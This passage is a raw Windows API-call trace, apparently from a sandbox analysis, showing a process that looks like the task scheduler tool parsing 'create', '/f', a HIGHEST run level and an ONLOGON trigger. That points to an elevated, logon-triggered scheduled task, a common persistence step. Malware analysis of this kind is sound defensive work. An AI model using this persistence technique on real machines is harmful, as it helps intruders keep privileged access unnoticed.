returned 2 [0128.464] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] lstrlenW (lpString="HIGHEST") returned 7 [0128.464] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.464] _memicmp (_Buf1=0x10e05f4abe0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.464] lstrlenW (lpString="HIGHEST") returned 7 [0128.464] lstrlenW (lpString="HIGHEST") returned 7 [0128.464] lstrlenW (lpString=" \x09") returned 2 [0128.464] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0128.464] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0128.465] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0128.465] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0128.465] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0128.465] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0128.465] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0128.465] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0128.465] GetLastError () returned 0x0 [0128.465] lstrlenW (lpString="HIGHEST") returned 7 [0128.465] lstrlenW (lpString="HIGHEST") returned 7 [0128.465] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.465] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.465] lstrlenW (lpString="/f") returned 2 [0128.465] lstrlenW (lpString="-/") returned 2 [0128.465] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.489] lstrlenW (lpString="create") returned 6 [0128.489] lstrlenW (lpString="create") returned 6 [0128.489] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.489] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.489] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.489] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.489] lstrlenW (lpString="|create|") returned 8 [0128.489] lstrlenW (lpString="|f|") returned 3 [0128.489] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0128.489] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.489] lstrlenW (lpString="?") returned 1 [0128.489] lstrlenW (lpString="?") returned 1 [0128.489] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.489] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.489] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|?|") returned 3 [0128.489] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.489] lstrlenW (lpString="|?|") returned 3 [0128.489] lstrlenW (lpString="|f|") returned 3 [0128.489] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0128.489] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.489] lstrlenW (lpString="s") returned 1 [0128.489] lstrlenW (lpString="s") returned 1 [0128.489] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.489] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.490] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|s|") returned 3 [0128.490] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.490] lstrlenW (lpString="|s|") returned 3 [0128.490] lstrlenW (lpString="|f|") returned 3 [0128.490] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0128.490] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.490] lstrlenW (lpString="u") returned 1 [0128.490] lstrlenW (lpString="u") returned 1 [0128.490] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.490] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.490] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|u|") returned 3 [0128.490] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.490] lstrlenW (lpString="|u|") returned 3 [0128.490] lstrlenW (lpString="|f|") returned 3 [0128.490] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0128.490] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.490] lstrlenW (lpString="p") returned 1 [0128.490] lstrlenW (lpString="p") returned 1 [0128.490] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.490] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.490] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|p|") returned 3 [0128.490] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.490] lstrlenW (lpString="|p|") returned 3 [0128.490] lstrlenW (lpString="|f|") returned 3 [0128.490] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0128.490] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.490] lstrlenW (lpString="ru") returned 2 [0128.490] lstrlenW (lpString="ru") returned 2 [0128.490] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.490] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.491] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ru|") returned 4 [0128.491] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.491] lstrlenW (lpString="|ru|") returned 4 [0128.491] lstrlenW (lpString="|f|") returned 3 [0128.491] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0128.491] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.491] lstrlenW (lpString="rp") returned 2 [0128.491] lstrlenW (lpString="rp") returned 2 [0128.491] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.491] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.491] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rp|") returned 4 [0128.491] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.491] lstrlenW (lpString="|rp|") returned 4 [0128.491] lstrlenW (lpString="|f|") returned 3 [0128.491] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0128.491] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.491] lstrlenW (lpString="sc") returned 2 [0128.491] lstrlenW (lpString="sc") returned 2 [0128.491] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.491] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.491] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.491] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.491] lstrlenW (lpString="|sc|") returned 4 [0128.491] lstrlenW (lpString="|f|") returned 3 [0128.491] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0128.491] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.491] lstrlenW (lpString="mo") returned 2 [0128.491] lstrlenW (lpString="mo") returned 2 [0128.491] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.492] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.492] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|mo|") returned 4 [0128.492] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.492] lstrlenW (lpString="|mo|") returned 4 [0128.492] lstrlenW (lpString="|f|") returned 3 [0128.492] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0128.492] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.492] lstrlenW (lpString="d") returned 1 [0128.492] lstrlenW (lpString="d") returned 1 [0128.492] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.492] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.492] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|d|") returned 3 [0128.492] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.492] lstrlenW (lpString="|d|") returned 3 [0128.492] lstrlenW (lpString="|f|") returned 3 [0128.492] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0128.492] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.492] lstrlenW (lpString="m") returned 1 [0128.492] lstrlenW (lpString="m") returned 1 [0128.492] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.492] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.492] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|m|") returned 3 [0128.492] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.492] lstrlenW (lpString="|m|") returned 3 [0128.492] lstrlenW (lpString="|f|") returned 3 [0128.492] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0128.492] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.492] lstrlenW (lpString="i") returned 1 [0128.492] lstrlenW (lpString="i") returned 1 [0128.493] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.493] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.493] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|i|") returned 3 [0128.493] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.493] lstrlenW (lpString="|i|") returned 3 [0128.493] lstrlenW (lpString="|f|") returned 3 [0128.493] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0128.493] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.493] lstrlenW (lpString="tn") returned 2 [0128.493] lstrlenW (lpString="tn") returned 2 [0128.493] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.493] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.493] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.493] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.493] lstrlenW (lpString="|tn|") returned 4 [0128.493] lstrlenW (lpString="|f|") returned 3 [0128.493] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0128.493] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.493] lstrlenW (lpString="tr") returned 2 [0128.493] lstrlenW (lpString="tr") returned 2 [0128.493] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.493] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.493] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.493] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.493] lstrlenW (lpString="|tr|") returned 4 [0128.493] lstrlenW (lpString="|f|") returned 3 [0128.493] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0128.493] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.494] lstrlenW (lpString="st") returned 2 [0128.494] lstrlenW (lpString="st") returned 2 [0128.494] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.494] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.494] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|st|") returned 4 [0128.494] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.494] lstrlenW (lpString="|st|") returned 4 [0128.494] lstrlenW (lpString="|f|") returned 3 [0128.494] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0128.494] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.494] lstrlenW (lpString="sd") returned 2 [0128.494] lstrlenW (lpString="sd") returned 2 [0128.494] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.494] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.494] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sd|") returned 4 [0128.494] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.494] lstrlenW (lpString="|sd|") returned 4 [0128.494] lstrlenW (lpString="|f|") returned 3 [0128.494] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0128.494] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.494] lstrlenW (lpString="ed") returned 2 [0128.494] lstrlenW (lpString="ed") returned 2 [0128.494] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.494] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.494] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ed|") returned 4 [0128.494] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.494] lstrlenW (lpString="|ed|") returned 4 [0128.494] lstrlenW (lpString="|f|") returned 3 [0128.495] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0128.495] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.495] lstrlenW (lpString="it") returned 2 [0128.495] lstrlenW (lpString="it") returned 2 [0128.495] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.495] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.495] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|it|") returned 4 [0128.495] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.495] lstrlenW (lpString="|it|") returned 4 [0128.495] lstrlenW (lpString="|f|") returned 3 [0128.495] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0128.495] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.495] lstrlenW (lpString="et") returned 2 [0128.495] lstrlenW (lpString="et") returned 2 [0128.495] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.495] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.495] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|et|") returned 4 [0128.495] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.495] lstrlenW (lpString="|et|") returned 4 [0128.495] lstrlenW (lpString="|f|") returned 3 [0128.495] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0128.495] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.495] lstrlenW (lpString="k") returned 1 [0128.495] lstrlenW (lpString="k") returned 1 [0128.495] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.495] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.495] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|k|") returned 3 [0128.495] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.496] lstrlenW (lpString="|k|") returned 3 [0128.496] lstrlenW (lpString="|f|") returned 3 [0128.496] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0128.496] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.496] lstrlenW (lpString="du") returned 2 [0128.496] lstrlenW (lpString="du") returned 2 [0128.496] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.496] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.496] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|du|") returned 4 [0128.496] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.496] lstrlenW (lpString="|du|") returned 4 [0128.496] lstrlenW (lpString="|f|") returned 3 [0128.496] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0128.496] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.496] lstrlenW (lpString="ri") returned 2 [0128.496] lstrlenW (lpString="ri") returned 2 [0128.496] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.496] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.496] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ri|") returned 4 [0128.496] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.496] lstrlenW (lpString="|ri|") returned 4 [0128.496] lstrlenW (lpString="|f|") returned 3 [0128.496] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0128.496] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.496] lstrlenW (lpString="z") returned 1 [0128.496] lstrlenW (lpString="z") returned 1 [0128.496] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.497] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.497] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|z|") returned 3 [0128.497] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.497] lstrlenW (lpString="|z|") returned 3 [0128.497] lstrlenW (lpString="|f|") returned 3 [0128.497] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0128.497] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.497] lstrlenW (lpString="f") returned 1 [0128.497] lstrlenW (lpString="f") returned 1 [0128.497] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.497] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.497] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.497] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|f|") returned 3 [0128.497] lstrlenW (lpString="|f|") returned 3 [0128.497] lstrlenW (lpString="|f|") returned 3 [0128.497] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0128.497] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.497] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.497] GetProcessHeap () returned 0x10e05f40000 [0128.497] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b5f0 [0128.497] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.497] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0128.497] lstrlenW (lpString="LIMITED") returned 7 [0128.497] GetProcessHeap () returned 0x10e05f40000 [0128.497] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x10) returned 0x10e05f4ac00 [0128.497] GetThreadLocale () returned 0x409 [0128.497] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b6b0 [0128.498] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.498] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0128.498] lstrlenW (lpString="HIGHEST") returned 7 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x10) returned 0x10e05f4aa20 [0128.498] GetThreadLocale () returned 0x409 [0128.498] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b800 [0128.498] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.498] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0128.498] lstrlenW (lpString="MINUTE") returned 6 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xe) returned 0x10e05f4a900 [0128.498] GetThreadLocale () returned 0x409 [0128.498] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b9b0 [0128.498] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.498] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0128.498] lstrlenW (lpString="HOURLY") returned 6 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xe) returned 0x10e05f4aac0 [0128.498] GetThreadLocale () returned 0x409 [0128.498] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0128.498] GetProcessHeap () returned 0x10e05f40000 [0128.498] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b830 [0128.498] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.499] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0128.499] lstrlenW (lpString="DAILY") returned 5 [0128.499] GetProcessHeap () returned 0x10e05f40000 [0128.499] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xc) returned 0x10e05f4ab60 [0128.499] GetThreadLocale () returned 0x409 [0128.499] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0128.499] GetProcessHeap () returned 0x10e05f40000 [0128.499] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b680 [0128.499] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.499] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0128.499] lstrlenW (lpString="WEEKLY") returned 6 [0128.499] GetProcessHeap () returned 0x10e05f40000 [0128.499] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xe) returned 0x10e05f4ac20 [0128.499] GetThreadLocale () returned 0x409 [0128.499] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0128.499] GetProcessHeap () returned 0x10e05f40000 [0128.499] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b710 [0128.499] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.499] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0128.499] lstrlenW 